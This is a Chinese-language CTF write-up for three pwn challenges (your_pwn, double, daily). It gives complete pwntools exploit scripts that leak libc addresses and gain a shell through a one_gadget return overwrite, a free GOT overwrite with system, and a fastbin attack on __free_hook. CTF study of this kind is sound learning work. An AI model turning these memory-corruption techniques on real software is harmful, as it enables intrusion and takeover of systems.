your_pwn
思路
数组索引不规范
根据栈中的偏移我们可以得到__libc_start_main
的地址,进而得到libc
版本,介绍一个神器,他可以根据函数地址偏移来确定版本号,例如我们以这题为例,我们通过本地调试找到栈中存放__libc_start_main + 240
的位置,之后到远程打的时候通过这个泄漏出来这个,然后利用神器直接看
>>> 0x830-240
1856
>>> hex(1856)
'0x740'
>>> from LibcSearcher import *
>>> obj = LibcSearcher("__libc_start_main", 0X740)
>>> obj.dump("system")
Multi Results:
0: ubuntu-xenial-amd64-libc6 (id libc6_2.23-0ubuntu10_amd64)
1: archive-glibc (id libc6_2.23-0ubuntu3_amd64)
Please supply more info using
add_condition(leaked_func, leaked_address).
You can choose it by hand
Or type 'exit' to quit:
可以看到,直接把libc整出来了,我们看看
# root @ pic-RESCUER-R720-15IKBN in ~/桌面/guosai [11:28:01]
$ nm -D /lib/x86_64-linux-gnu/libc-2.23.so | grep main
000000000002e1a0 W bindtextdomain
000000000002e400 W bind_textdomain_codeset
00000000000fd500 T getdomainname
0000000000118730 T __getdomainname_chk
0000000000071c10 T _IO_switch_to_main_wget_area
000000000018cbc0 R _libc_intl_domainname
0000000000020740 T __libc_start_main
00000000003c93a8 B _nl_domain_bindings
00000000000fd570 T setdomainname
0000000000032620 W textdomain
exp
from pwn import *
p = process('./pwn')
libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
def debug():
print pidof(p)
raw_input()
#step1 leak libc_base
p.recvuntil('name:')
p.sendline('test')
libc_leak = ''
for i in range(637 , 631 , -1): #从637一个字节一个字节到632(小端存储)获取字节
p.recvuntil('index\n')
p.sendline(str(i))
p.recvuntil('(hex) ')
aa = p.recvuntil('\n')[:-1]
if(len(aa) < 2):
libc_leak += '0' + aa
elif(len(aa) == 8):
libc_leak += aa[-2:]
else:
libc_leak += aa
p.recvuntil('value\n')
p.sendline('1')
print libc_leak
libc.address = int('0x' + libc_leak , 16) - libc.symbols['__libc_start_main'] - 240 # 获取到了后找到基址
success('libc_base => ' + hex(libc.address))
one_gadget = 0xf02a4 + libc.address # 通过one_gadget直接定位的
#step2 overwrite EIP to one_gadget
for i in range(6):
p.recvuntil('index\n')
p.sendline(str(i + 344))
p.recvuntil('value\n')
p.sendline(str(ord(p64(one_gadget)[i]))) # 把它写到ret处
#Get Shell & Have Fun
#debug()
p.sendline('a')
p.recvuntil('(yes/no)? \n')
p.interactive()
感觉本题最恶心人的就是
elif(len(aa) == 8):
libc_leak += aa[-2:]
本题的循环输入输出
for ( i = 0; i <= 40; ++i )
{
puts("input index");
__isoc99_scanf("%d", &v1);
printf("now value(hex) %x\n", (unsigned int)v4[v1]);
puts("input new value");
__isoc99_scanf("%d", &v2);
v4[v1] = v2;
}
可以看到在输出时把原来char
型转成了unsigned int
型,导致会输出一堆ffff
,处理方式就是只要后边的倒数1、2位
your_pwn在之前的时候已经解了,具体可以看这个
看了看暑假肝过的堆,怎么一点不记得了,明天赶紧学第二遍
double
exp
from pwn import *
local = 1
if local:
p = process('./double')
else:
p = remote('e095ff54e419a6e01532dee4ba86fa9c.kr-lab.com' , 40002)#nc e095ff54e419a6e01532dee4ba86fa9c.kr-lab.com 40002
libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
elf = ELF('./double')
def add(data):
p.recvuntil('> ')
p.sendline('1')
p.recvuntil('data:\n')
p.sendline(data)
def show(index):
p.recvuntil('> ')
p.sendline('2')
p.recvuntil('index: ')
p.sendline(str(index))
return p.recvuntil('\n----')[:-5]
def edit(index , data):
p.recvuntil('> ')
p.sendline('3')
p.recvuntil('index: ')
p.sendline(str(index))
sleep(0.1)
p.sendline(data)
def delete(index):
p.recvuntil('> ')
p.sendline('4')
p.recvuntil('index: ')
p.sendline(str(index))
def debug():
print pidof(p)
raw_input()
#step1 leak libc_base
add('a' * 0x17) #0
add('a' * 0x17) #1
delete(0)
add('a' * 0x7f) #2
add('a' * 0x7f) #3
add('/bin/sh\x00') #4
delete(2)
libc.address = u64(show(3).ljust(8 , '\x00')) - 0x3c4b78
system_addr = libc.symbols['system']
free_got = elf.got['free']
success('libc_base => ' + hex(libc.address))
success('system_addr => ' + hex(system_addr))
success('free_got => ' + hex(free_got))
#step2 use UAF to change free_got to system_addr
fake_header = p32(0x3) + p32(0x7f)
payload = fake_header + p64(free_got)
edit(1 , payload)
edit(3 , p64(system_addr))
debug()
#Get Shell & Have Fun
delete(4)
p.interactive()
解读
本题漏洞点在
if ( qword_4040D8 && !strcmp(*(const char **)(qword_4040D8 + 8), &s2) )
{
*ptr = *(_DWORD *)v3 + 1;
ptr[1] = *(_DWORD *)(v3 + 4);
*((_QWORD *)ptr + 1) = *(_QWORD *)(v3 + 8);
*((_QWORD *)ptr + 2) = 0LL;
*(_QWORD *)(v3 + 16) = ptr;
qword_4040D8 = (__int64)ptr;
}
看到如果写的内容一样的话就直接把它 copy 过来,这样我们的思路就是不断利用 uaf 构造一个恶意的输入,所以步骤
- 首先搞出来一个 unsort bin 泄漏 libc 地址
- 之后找一个堆来写伪造的 head
- 在这个伪造堆中填入 free
- 修改为 system 即可
研究这个 wp 发现,这绝对是大佬的手笔啊,这么精简,简直太强了,膜一下 Fish_o0O
daily
任意位置 free
我一开始找不到漏洞,在师傅们的 wp 下找到了点,我找漏洞实在是太不敏感,只能发现单字节溢出, UAF 这种洞,还得练呀
这题看师傅的思路很明白了,首先 malloc 几个然后让 unsortedbin 连起来,这样一个堆就能泄漏一个 heap 一个 libc ,学到了
之后利用任意地址 free ,把 fastbin 搞到 bss 端,之后把指针的指向改成常规的 free_hook 和 malloc_hook ,然后写入 system 就行了
from pwn import *
p = process('./daily')
libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
#context.log_level='debug'
def show():
p.recvuntil('choice:')
p.sendline('1')
raw = p.recvuntil('===')[:-4]
return raw
def add(length , content):
p.recvuntil('choice:')
p.sendline('2')
p.recvuntil('daily:')
p.sendline(str(length))
p.recvuntil('daily\n')
p.sendline(content)
def change(index , content):
p.recvuntil('choice:')
p.sendline('3')
p.recvuntil('daily:')
p.sendline(str(index))
p.recvuntil('daily\n')
p.sendline(content)
def remove(index):
p.recvuntil('choice:')
p.sendline('4')
p.recvuntil('daily:')
p.sendline(str(index))
#step1 leak libc&heap base
for i in range(5):
add(0x80 , '\x00' * 0x5f)
remove(1)
remove(3)
add(0x80 , '')
libc.address = u64(show().split('1 : ')[1][:6].ljust(8 , '\x00')) - 0x3c4b0a
change(1 , 'abcdefgh')
heap_base = u64(show().split('abcdefgh')[1].split('2 :')[0].ljust(8 , '\x00')) - 0x10a
free_hook = libc.symbols['__free_hook']
system_addr = libc.symbols['system']
success('libc_base => ' + hex(libc.address))
success('heap_base => ' + hex(heap_base))
success('free_hook => ' + hex(free_hook))
success('system_addr => ' + hex(system_addr))
success('heap_base => ' + hex(heap_base))
#step2 clear heap
remove(4)
remove(2)
remove(1)
remove(0)
#step3 free2fastbin
add(0x30 , 'a' * 8 + p64(heap_base + 0x10)) #heap_base + 0x18
#0
gdb.attach(p)
offset = (heap_base - 0x602060) / 16 + 1
remove(offset)
#step4 fastbin attack : free_hook => system
add(0x41 , '\x00' * 0x40)
#1
change(0 , p64(0x602068))
add(0x30 , '/bin/sh\x00') #heap
add(0x30 , p64(free_hook)) #bss
change(1 , p64(system_addr))
#Get Ghell & Have Fun
remove(0)
p.interactive()